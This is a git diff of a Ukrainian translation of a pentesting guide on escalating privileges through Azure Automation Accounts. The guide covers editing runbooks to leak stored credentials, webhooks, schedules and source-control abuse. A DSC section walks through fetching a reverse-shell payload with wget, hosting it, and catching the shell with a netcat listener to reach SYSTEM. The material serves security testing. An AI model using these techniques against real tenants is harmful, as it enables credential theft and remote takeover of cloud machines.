diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index d4bbfd1fb..6d1feb720 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації див.: {{#ref}} ../az-services/az-automation-accounts.md @@ -12,29 +12,29 @@ ### Hybrid Workers Group -- **Від облікового запису автоматизації до VM** +- **Від Automation Account до VM** -Пам'ятайте, що якщо якимось чином зловмисник може виконати довільний runbook (довільний код) у гібридному робітнику, він **перейде до місця розташування VM**. Це може бути локальна машина, VPC іншого хмари або навіть Azure VM. +Пам'ятайте, що якщо attacker якимось чином зможе виконати довільний runbook (довільний код) у hybrid worker, він **pivot to the location of the VM**. Це може бути on-premise машина, VPC іншого cloud або навіть Azure VM. -Більше того, якщо гібридний робітник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей VM з сервісу метаданих**. +Крім того, якщо hybrid worker працює в Azure з іншими Managed Identities, приєднаними до нього, runbook зможе отримати доступ до **managed identity of the runbook and all the managed identities of the VM from the metadata service**. > [!TIP] -> Пам'ятайте, що **сервіс метаданих** має іншу URL-адресу (**`http://169.254.169.254`**), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (**`IDENTITY_ENDPOINT`**). +> Пам'ятайте, що **metadata service** має іншу URL-адресу (**`http://169.254.169.254`**) ніж сервіс, звідки отримується токен Managed Identities для automation account (**`IDENTITY_ENDPOINT`**). -- **Від VM до облікового запису автоматизації** +- **Від VM до Automation Account** -Більше того, якщо хтось зламає VM, на якому працює скрипт облікового запису автоматизації, він зможе знайти метадані **Automation Account** і отримати до них доступ з VM, щоб отримати токени для **керованих ідентичностей**, прикріплених до облікового запису автоматизації. +Крім того, якщо хтось compromise VM, на якій виконується скрипт automation account, він зможе знайти метадані **Automation Account** і звернутися до них з VM, щоб отримати токени для приєднаних **Managed Identities** Automation Account. -Як видно на наступному зображенні, маючи доступ адміністратора до VM, можна знайти в **змінних середовища процесу** URL-адресу та секрет для доступу до сервісу метаданих облікового запису автоматизації: +Як видно на наступному зображенні, маючи Administrator доступ до VM, можна знайти в **environment variables of the process** URL і секрет для доступу до automation account metadata service: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -У підсумку ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті облікового запису автоматизації та ескалації привілеїв до призначених **керованих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в обліковому записі автоматизації. +У підсумку ці дозволи дають можливість **create, modify and run Runbooks** в Automation Account, що можна використати для **execute code** в контексті Automation Account, ескалації привілеїв до призначених **Managed Identities** та leak **credentials** і **encrypted variables**, збережених в Automation Account. -Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в обліковому записі автоматизації, використовуючи: +Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в Automation Account, використовуючи: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в Обліковому записі автоматизації. +Зверніть увагу, як попередній скрипт можна використати, щоб **leak the useranmd and password** облікових даних та отримати значення **зашифрованої змінної**, збереженої в Automation Account. -Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані: +Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу опублікувати Runbook в Automation Account, щоб зміни були застосовані: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою: +Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачеві запустити Runbook в Automation Account за допомогою: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою: +Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вивід завдання в Automation Account за допомогою: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться **дозволи `Microsoft.Resources/subscriptions/resourcegroups/read` та `Microsoft.Automation/automationAccounts/runbooks/write`** для цього, використовуючи: +Якщо Runbooks не створені, або ви хочете створити новий, вам знадобляться **дозволи `Microsoft.Resources/subscriptions/resourcegroups/read` та `Microsoft.Automation/automationAccounts/runbooks/write`**, щоб зробити це за допомогою: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Ця дозволяє користувачу **призначити керовану ідентичність користувача** для Облікового запису автоматизації за допомогою: +Цей дозвіл дозволяє користувачу **assign a user managed identity** до Automation Account, використовуючи: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди. +Маючи дозвіл **`Microsoft.Automation/automationAccounts/schedules/write`**, можна створити новий Schedule в Automation Account, який виконується кожні 15 хвилин (не дуже приховано), використовуючи наступну команду. -Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому. +Зверніть увагу, що **мінімальний інтервал для schedule — 15 хвилин**, а **мінімальний час початку — не раніше, ніж через 5 хвилин** у майбутньому. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Тоді, з дозволом **`Microsoft.Automation/automationAccounts/jobSchedules/write`** можливо призначити планувальник для runbook за допомогою: +Тоді, з дозволом **`Microsoft.Automation/automationAccounts/jobSchedules/write`** можна призначити Scheduler для runbook, використовуючи: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> У попередньому прикладі ідентифікатор jobchedule був залишений як **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` як приклад** але вам потрібно буде використовувати довільне значення для створення цього призначення. +> У попередньому прикладі id розкладу завдання було вказано як **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` як приклад**, але для створення цього призначення вам потрібно використати довільне значення. ### `Microsoft.Automation/automationAccounts/webhooks/write` -З дозволом **`Microsoft.Automation/automationAccounts/webhooks/write`** можливо створити новий Webhook для Runbook всередині Automation Account, використовуючи наступну команду. +З дозволом **`Microsoft.Automation/automationAccounts/webhooks/write`** можливо створити новий Webhook для Runbook в Automation Account, використавши одну з наведених команд. + +With Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Ця команда повинна повернути URI вебхука, який відображається лише під час створення. Потім, щоб викликати runbook, використовуючи URI вебхука +За допомогою AzureCLI і REST: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Ці команди повинні повернути webhook URI, який відображається лише під час створення. Потім, щоб викликати runbook за допомогою webhook URI ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Просто з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та запустити його за допомогою наступних команд. +Маючи лише дозвіл `Microsoft.Automation/automationAccounts/runbooks/draft/write`, можна **оновити код Runbook** без публікації й запустити його за допомогою таких команд. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Ця дозволяє користувачу **налаштувати контроль версій** для облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад): +Цей дозвіл дозволяє користувачеві **налаштувати source control** для Automation Account за допомогою команд, таких як наведені нижче (в якості прикладу використовується Github): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску буде **можливо підвищити привілеї**. +This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**. -Більше того, пам'ятайте, що для роботи контролю версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це ідентичність, керована користувачем, ідентифікатор клієнта MI повинен бути вказаний у змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Крім того, пам'ятайте, що для роботи source control в Automation Accounts воно повинно мати managed identity з роллю **`Contributor`**, а якщо це user managed identity, client id of the MI має бути вказано в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення. +> Зверніть увагу, що неможливо змінити repo URL у source control після його створення. ### `Microsoft.Automation/automationAccounts/variables/write` -З дозволом **`Microsoft.Automation/automationAccounts/variables/write`** можливо записувати змінні в Обліковий запис автоматизації, використовуючи наступну команду. +З дозволом **`Microsoft.Automation/automationAccounts/variables/write`** можна записувати змінні в Automation Account за допомогою наступної команди. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -215,51 +233,51 @@ az rest --method PUT \ ``` ### Custom Runtime Environments -Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища виконання деяким шкідливим кодом (наприклад, **задніми дверима**). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище виконання і завантажує власний пакет, буде виконано шкідливий код. +Якщо automation account використовує custom runtime environment, можливо перезаписати custom package цього runtime шкідливим кодом (наприклад, **a backdoor**). Таким чином, щоразу, коли runbook, який використовує цей custom runtime, виконується й завантажує custom package, шкідливий код буде виконано. ### Compromising State Configuration -**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Крок 1 — Створення файлів +- Step 1 — Create Files -**Необхідні файли:** Потрібні два скрипти PowerShell: -1. `reverse_shell_config.ps1`: Файл Desired State Configuration (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Files Required:** Two PowerShell scripts are needed: +1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload. +**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers. -- Крок 2 — Стиснення файлу конфігурації +- Step 2 — Zip Configuration File -Файл `reverse_shell_config.ps1` стискається в `.zip` файл, що робить його готовим для передачі до Azure Storage Account. +The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Крок 3 — Встановлення контексту зберігання та завантаження +- Step 3 — Set Storage Context & Upload -Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер Azure Storage, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent Azure. +Зіпований файл конфігурації завантажується до попередньо визначеного контейнера Azure Storage, azure-pentest, за допомогою Azure's Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Крок 4 — Підготовка Kali Box +- Step 4 — Підготовка Kali Box -Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub. +Сервер Kali завантажує payload RevPS.ps1 з репозиторію GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу. +Скрипт редагується для вказівки цільової Windows VM і порту для reverse shell. - Крок 5 — Опублікувати файл конфігурації -Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM. +Файл конфігурації виконується, внаслідок чого reverse-shell скрипт розгортається у вказаному місці на Windows VM. -- Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача +- Крок 6 — Розмістити payload та налаштувати listener -Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань. +Запускається Python SimpleHTTPServer для розміщення payload, разом з Netcat listener для перехоплення вхідних з'єднань. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM. +Заплановане завдання виконує payload, отримуючи привілеї рівня SYSTEM. {{#include ../../../banners/hacktricks-training.md}}